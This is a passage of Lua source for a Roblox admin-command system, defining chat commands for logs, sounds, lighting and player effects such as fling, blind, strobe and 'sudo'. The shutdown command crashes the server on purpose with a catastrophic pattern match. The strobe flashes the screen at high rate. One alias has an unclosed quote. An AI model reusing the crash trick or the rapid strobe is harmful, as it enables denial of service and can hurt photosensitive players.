6386 [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6387 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
6388 if type(ExploitLog) ~= "table" then ExploitLog = {} end
6389 GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
6390 end};
6391
6392 [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
6393 CommandLogs = {}
6394 end};
6395
6396 [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
6397 ChatLogs = {}
6398 end};
6399
6400 [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
6401 IRC.Logs = {}
6402 end};
6403
6404 [{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
6405 CommandLogs = {}
6406 ChatLogs = {}
6407 IRC.Logs = {}
6408 end};
6409
6410 [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6411 Server.GDS:SetAsync("ExploitLog", {})
6412 end};
6413
6414 [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
6415 local List,Correlate,SoundName = {},{},{}
6416 for Name,Info in pairs(SoundList) do
6417 local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
6418 table.insert(List, View)
6419 Correlate[View] = Info[1]
6420 end
6421
6422 local CanClick = true
6423 if Rank == "Member" then CanClick = false end
6424 local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
6425 Clicked.Event:connect(function(ClickName)
6426 local OldSoundId = nil
6427 SOUND:StopGlobalSound()
6428 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6429 SOUND:PlayGlobalSound(Correlate[ClickName])
6430 end
6431 end)
6432 end};
6433
6434 [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6435 SOUND:SyncSoundList(Speaker)
6436 end};
6437
6438 [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6439 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
6440 if Answer == "Yes" then
6441 Server.Workspace.Terrain:Clear()
6442 end
6443 end};
6444
6445 [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
6446 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
6447 if Answer == "Yes" then
6448 for _,Obj in pairs(Workspace:GetChildren()) do
6449 if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
6450 Obj:Destroy()
6451 end
6452 end
6453 end
6454 end};
6455
6456 [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6457 CORE:MakeBase()
6458 end};
6459
6460 [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
6461 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6462 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6463 CustomSounds = {}
6464 end
6465 if tostring(Arguments[1]) then
6466 local Request = MARKET:GetItemInfo(Arguments[1])
6467 if Request.AssetTypeId == 3 then
6468 table.insert(CustomSounds, {Arguments[2], Arguments[1]})
6469 SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name}
6470 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6471 GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
6472 else
6473 GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
6474 end
6475 end
6476 end};
6477
6478 [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
6479 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6480 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6481 CustomSounds = {}
6482 end
6483
6484 local Removed = {}
6485 for Num,Data in pairs(CustomSounds) do
6486 if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
6487 table.insert(Removed, Data[1])
6488 table.remove(CustomSounds, Num)
6489 end
6490 end
6491
6492 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6493
6494 SOUND:SyncSoundList()
6495
6496 if #Removed > 0 then
6497 GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
6498 else
6499 GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
6500 end
6501 end};
6502
6503 [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
6504 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
6505 if Answer == "Yes" then
6506 Server.GDS:SetAsync("MML Custom Sounds", {})
6507 SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
6508 GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
6509 end
6510 end};
6511
6512 [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6513 local Players = STRING:Scan(Arguments[1], Speaker)
6514 local SpeakerTesting = false
6515 for _,Player in pairs(Players) do
6516 if Player == Speaker then SpeakerTesting = true end
6517 if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
6518 CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
6519 --wait(10)
6520 --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
6521 end)() end
6522 end
6523 if SpeakerTesting == false then
6524 GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
6525 end
6526 end};
6527
6528 [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
6529 local Players = STRING:Scan(Arguments[1], Speaker)
6530 local Compile = {}
6531 for _,Player in pairs(Players) do
6532 local PlayerInfo = ClientInfo[Player.Name]
6533 if PlayerInfo then
6534 if PlayerInfo.Benchmark then
6535 table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
6536 else
6537 table.insert(Compile, Player.Name..": No score")
6538 end
6539 end
6540 end
6541 GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
6542 end};
6543
6544 [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
6545 local Players = STRING:Scan(Arguments[1], Speaker)
6546 for _,Player in pairs(Players) do
6547 CORE:Chatted(Arguments[2], Player, true)
6548 end
6549 end};
6550
6551 [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
6552 CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
6553 end};
6554
6555 [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
6556 local Players = STRING:Scan(Arguments[1], Speaker)
6557 for _,Player in pairs(Players) do
6558 if Player.Character ~= nil then
6559 if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
6560 if Player.Character.Torso:FindFirstChild("Neck") then
6561 Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6562 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6563 Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true
6564 local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
6565 local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
6566 end
6567 end
6568 end
6569 end
6570 end};
6571
6572 [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
6573 local Players = STRING:Scan(Arguments[1], Speaker)
6574 for _,Player in pairs(Players) do
6575 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
6576 Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6577 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6578 end
6579 end
6580 end};
6581
6582 [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
6583 local Players = STRING:Scan(Arguments[1], Speaker)
6584 for _,Player in pairs(Players) do
6585 local _,RankNum = RANK:GetRank(Player)
6586 if RankNum <= RANK:ConvertRank(Rank) then
6587 CORE:FlingPlayer(Player)
6588 end
6589 end
6590 end};
6591
6592 [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
6593 local Players = STRING:Scan(Arguments[1], Speaker)
6594 for _,Player in pairs(Players) do
6595 local _,RankNum = RANK:GetRank(Player)
6596 if RankNum <= RANK:ConvertRank(Rank) then
6597 Flings[Player.Name] = true
6598 CORE:FlingPlayer(Player)
6599 end
6600 end
6601 end};
6602
6603 [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
6604 local Players = STRING:Scan(Arguments[1], Speaker)
6605 for _,Player in pairs(Players) do
6606 local _,RankNum = RANK:GetRank(Player)
6607 if RankNum <= RANK:ConvertRank(Rank) then
6608 Flings[Player.Name] = nil
6609 end
6610 end
6611 end};
6612
6613 [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6614 local Players = STRING:Scan(Arguments[1], Speaker)
6615 for _,Player in pairs(Players) do
6616 CORE:Nuke(Player)
6617 end
6618 end};
6619
6620 [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6621 local Players = STRING:Scan(Arguments[1], Speaker)
6622 for _,Player in pairs(Players) do
6623 Beeps[Player.Name] = true
6624 SOUND:BeepPlayer(Player)
6625 end
6626 end};
6627
6628 [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6629 local Players = STRING:Scan(Arguments[1], Speaker)
6630 for _,Player in pairs(Players) do
6631 if Player.PlayerGui then
6632 Beeps[Player.Name] = nil
6633 for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
6634 if Obj.Name == "Annoy" then
6635 Obj:Stop()
6636 Obj:Destroy()
6637 end
6638 end
6639 end
6640 end
6641 end};
6642
6643 [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
6644 local Time = Arguments[1]
6645 if Time == "day" or Time == "noon" then Time = "12" end
6646 if Time == "night" or Time == "midnight" then Time = "0" end
6647 if Time == "dawn" or Time == "morning" then Time = "6:15" end
6648 if Time == "dusk" or Time == "evening" then Time = "17:45" end
6649 if Time == "afternoon" then Time = "15:30" end
6650 ypcall(function() Server.Lighting.TimeOfDay = Time end)
6651 end};
6652
6653 [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
6654 local Players = STRING:Scan(Arguments[1], Speaker)
6655 for _,Player in pairs(Players) do
6656 MARKET:PromptPurchase(Player, Arguments[2], Speaker)
6657 end
6658 end};
6659
6660 [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6661 local AbuseMode = false
6662 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
6663 local Players = STRING:Scan(Arguments[1], Speaker)
6664 for _,Player in pairs(Players) do
6665 CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
6666 end
6667 end};
6668
6669 [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
6670 local Players = STRING:Scan(Arguments[1], Speaker)
6671 for _,Player in pairs(Players) do
6672 CORE:Insert(125013769, Player.Backpack, true)
6673 end
6674 end};
6675
6676 [{"accessory", "acs", "hat"}] = {"player ID", "Gives player the accessory with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6677 local Players = STRING:Scan(Arguments[1], Speaker)
6678 for _,Player in pairs(Players) do
6679 if Player.Character then
6680 CORE:Insert(Arguments[2], Player.Character, true, {"Accoutrement"})
6681 end
6682 end
6683 end};
6684
6685 [{"greentored"}] = {"", "Flashes lighting from green to red.", 0, "Member", false, function(Speaker, Rank, Arguments)
6686 CORE:ResetLighting()
6687 repeat
6688 Server.Lighting.Ambient = Color3.new(0,1,0)
6689 Server.Lighting.FogColor = Color3.new(0,1,0)
6690 Server.Lighting.Brightness = 1
6691 Server.Lighting.TimeOfDay = 14
6692 wait(0.1)
6693 Server.Lighting.Ambient = Color3.new(1,0,0)
6694 Server.Lighting.FogColor = Color3.new(1,0,0)
6695 Server.Lighting.Brightness = 0
6696 Server.Lighting.TimeOfDay = 0
6697 wait(0.1)
6698 until ModLighting == false
6699 end};
6700
6701 [{"disco", "party", "danceparty}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
6702 CORE:ResetLighting()
6703 repeat
6704 local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
6705 Server.Lighting.Ambient = Color
6706 Server.Lighting.FogColor = Color
6707 Server.Lighting.TimeOfDay = 0
6708 Server.Lighting.FogEnd = 500
6709 wait(0.1)
6710 until ModLighting == false
6711 end};
6712
6713 [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
6714 CORE:FixLighting()
6715 end};
6716
6717 [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
6718 local Players = STRING:Scan(Arguments[1], Speaker)
6719 for _,Player in pairs(Players) do
6720 if Player:FindFirstChild("PlayerGui") then
6721 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6722 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6723 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
6724 coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
6725 end
6726 end
6727 end};
6728
6729 [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
6730 local Players = STRING:Scan(Arguments[1], Speaker)
6731 for _,Player in pairs(Players) do
6732 if Player:FindFirstChild("PlayerGui") then
6733 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6734 end
6735 end
6736 end};
6737
6738 [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
6739 local Players = STRING:Scan(Arguments[1], Speaker)
6740 for _,Player in pairs(Players) do
6741 if Player:FindFirstChild("PlayerGui") then
6742 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6743 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6744 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
6745 local Text = Instance.new("TextBox", Frame) Text.Name = "Yourded" Text.Size = UDim2.new(1,0,1,0) Text.Text = "Yur fuked."
6746 end
6747 end
6748 end};
6749
6750 [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
6751 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId)
6752 if Suc then
6753 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
6754 else
6755 Server.TS:Teleport(game.PlaceId, Speaker)
6756 end
6757 end};
6758
6759 [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6760 GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
6761 end};
6762
6763 [{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6764 local NewAbuse = Arguments[1]
6765 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6766 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6767 end
6768
6769 local Match = false
6770 for _,AbuseCmd in pairs(Settings.AbuseList) do
6771 if string.lower(AbuseCmd) == string.lower(NewAbuse) then
6772 Match = true
6773 break
6774 end
6775 end
6776 if not Match then
6777 table.insert(Settings.AbuseList, NewAbuse)
6778 GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check")
6779 else
6780 GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error")
6781 end
6782 CORE:SetAbuseCommands()
6783 end};
6784
6785 [{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6786 local NewAbuse = Arguments[1]
6787 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6788 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6789 end
6790
6791 local Removed = false
6792 for Num,AbuseCmd in pairs(Settings.AbuseList) do
6793 if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then
6794 Removed = true
6795 table.remove(Settings.AbuseList, Num)
6796 end
6797 end
6798 if Removed then
6799 GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check")
6800 else
6801 GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error")
6802 end
6803 CORE:SetAbuseCommands()
6804 end};
6805
6806 [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
6807 local Players = STRING:Scan(Arguments[1], Speaker)
6808 for _,Player in pairs(Players) do
6809 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6810 Player.Character.Humanoid.MaxHealth = math.huge
6811 Player.Character.Humanoid.Health = math.huge
6812 end
6813 end
6814 end};
6815
6816 [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
6817 local Players = STRING:Scan(Arguments[1], Speaker)
6818 for _,Player in pairs(Players) do
6819 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6820 if Player.Character.Humanoid.MaxHealth == math.huge then
6821 Player.Character.Humanoid.MaxHealth = 100
6822 Player.Character.Humanoid.Health = 100
6823 else
6824 Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
6825 end
6826 end
6827 end
6828 end};
6829
6830 [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
6831 local Players = STRING:Scan(Arguments[1], Speaker)
6832 for _,Player in pairs(Players) do
6833 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6834 local Char = Player.Character
6835 repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
6836 end
6837 end
6838 end};
6839
6840 [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6841 if tonumber(Arguments[2]) then
6842 local Players = STRING:Scan(Arguments[1], Speaker)
6843 for _,Player in pairs(Players) do
6844 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6845 Player.Character.Humanoid.Health = Arguments[2]
6846 end
6847 end
6848 end
6849 end};
6850
6851 [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6852 if tonumber(Arguments[2]) then
6853 local Players = STRING:Scan(Arguments[1], Speaker)
6854 for _,Player in pairs(Players) do
6855 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6856 local Speed = tonumber(Arguments[2])
6857 if Speed then
6858 if Rank == "Member" then
6859 if Speed > 1000 then Speed = 1000
6860 elseif Speed < -1000 then Speed = -1000 end
6861 end
6862 Player.Character.Humanoid.WalkSpeed = Speed
6863 end
6864 end
6865 end
6866 end
6867 end};
6868
6869 [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
6870 if tonumber(Arguments[2]) then
6871 local Players = STRING:Scan(Arguments[1], Speaker)
6872 for _,Player in pairs(Players) do
6873 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6874 Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
6875 end
6876 end
6877 end
6878 end};
6879
6880 [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
6881 local Players = STRING:Scan(Arguments[1], Speaker)
6882 for _,Player in pairs(Players) do
6883 CORE:Fly(Player, 10000)
6884 end
6885 end};
6886
6887 [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
6888 local Players = STRING:Scan(Arguments[1], Speaker)
6889 for _,Player in pairs(Players) do
6890 CORE:Fly(Player, 1000000)
6891 end
6892 end};
6893
6894 [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
6895 local Players = STRING:Scan(Arguments[1], Speaker)
6896 for _,Player in pairs(Players) do
6897 if Player.Character then
6898 if Player.Character:FindFirstChild("StopMMLFly") then
6899 Player.Character.StopMMLFly:InvokeClient(Player)
6900 end
6901 end
6902 end
6903 end};
6904
6905 [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
6906 ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},{}
6907 GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
6908 end};
6909
6910 [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
6911 local Players = STRING:Scan(Arguments[1], Speaker)
6912 for _,Player in pairs(Players) do
6913 CORE:GiveTools(Player, Arguments[2])
6914 end
6915 end};
6916
6917 [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
6918 local List = {}
6919 for _,Region in pairs(ToolRegions) do
6920 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
6921 table.insert(List, Item.Name.." | Found at: "..Item:GetFullName())
6922 end)
6923 end
6924
6925 GUI:ListGui(Speaker, "Tool list", List, 73589272)
6926 end};
6927
6928 [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
6929 local Players = STRING:Scan(Arguments[1], Speaker)
6930 for _,Player in pairs(Players) do
6931 CORE:GiveTools(Player, "btools")
6932 end
6933 end};
6934
6935 [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
6936 REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
6937 for _,Player in pairs(Server.Players:GetPlayers()) do
6938 Player:Kick()
6939 end
6940 Server.Workspace:ClearAllChildren()
6941 string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
6942 end};
6943
6944 [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6945 local Players = STRING:Scan(Arguments[1], Speaker)
6946 for _,Player in pairs(Players) do
6947 CORE:Scale(Player, Arguments[2])
6948 end
6949 end};
6950
6951 [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
6952 local Players = STRING:Scan(Arguments[1], Speaker)
6953 for _,Player in pairs(Players) do
6954 CORE:Scale(Player, 50)
6955 end
6956 end};
6957
6958 [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
6959 local Players = STRING:Scan(Arguments[1], Speaker)
6960 for _,Player in pairs(Players) do
6961 CORE:Scale(Player, 70)
6962 end
6963 end, Hidden = true};
6964
6965 [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
6966 local Players = STRING:Scan(Arguments[1], Speaker)
6967 for _,Player in pairs(Players) do
6968 CORE:Scale(Player, 500)
6969 end
6970 end};
6971
6972 [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
6973 local Players = STRING:Scan(Arguments[1], Speaker)
6974 for _,Player in pairs(Players) do
6975 if Player.Character then
6976 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6977 Obj.Reflectance = 0.5
6978 Obj.BrickColor = BrickColor.new("New Yeller")
6979 end)
6980 end
6981 end
6982 end};
6983
6984 [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
6985 local Players = STRING:Scan(Arguments[1], Speaker)
6986 for _,Player in pairs(Players) do
6987 if Player.Character then
6988 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6989 Obj.Reflectance = 0.5
6990 end)
6991 end
6992 end
6993 end};
6994
6995 [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
6996 local Players = STRING:Scan(Arguments[1], Speaker)
6997 for _,Player in pairs(Players) do
6998 if Player.Character then
6999 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
7000 Obj.Transparency = 0.5
7001 Obj.Reflectance = 0
7002 Obj.BrickColor = BrickColor.new("Institutional white")
7003 end)
7004 CORE:ScanItems(Player.Character, {"Texture", "Decal"}, function(Obj)
7005 Obj.Transparency = 0.5
7006 end)
7007 end
7008 end
7009 end};
7010
7011 [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
7012 local Players = STRING:Scan(Arguments[1], Speaker)
7013 for _,Player in pairs(Players) do
7014 if Player.Character then
7015 for _,Obj in pairs(Player.Character:GetChildren()) do
7016 local Valid = false
7017 for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
7018 if Valid == true then Obj:Destroy() end
7019 end
7020 end
7021 end
7022 end};
7023
7024 [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
7025 local Players = STRING:Scan(Arguments[1], Speaker)
7026 for _,Player in pairs(Players) do
7027 if Player.Character then
